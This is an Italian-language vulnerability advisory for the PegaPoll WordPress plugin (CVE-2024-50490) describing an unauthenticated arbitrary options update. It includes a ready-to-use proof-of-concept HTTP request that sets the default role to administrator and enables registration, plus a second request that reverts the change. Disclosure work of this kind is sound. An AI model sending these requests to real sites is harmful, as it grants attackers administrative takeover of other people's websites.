
PegaPoll <= 1.0.2 - Aggiornamento arbitrario di opzioni non autenticato
PegaPoll <= 1.0.2 - Aggiornamento arbitrario delle opzioni non autenticato
Il plugin PegaPoll per WordPress è vulnerabile a modifiche non autorizzate dei dati che possono portare a escalation dei privilegi a causa della mancanza di un controllo delle capacità in tutte le versioni fino alla 1.0.2 inclusa. Ciò permette ad attaccanti non autenticati di aggiornare opzioni arbitrarie sul sito WordPress. Questo può essere sfruttato per impostare il ruolo predefinito per la registrazione come amministratore e abilitare la registrazione utente, permettendo agli attaccanti di ottenere accesso amministrativo al sito vulnerabile.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50490
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: pegapoll
Abilita registrazione e imposta ruolo predefinito come amministratore
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=administrator&options[users_can_register]=1
Ritorna a disabilitare la registrazione utente e imposta ruolo predefinito come sottoscrittore
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=subscriber&options[users_can_register]=0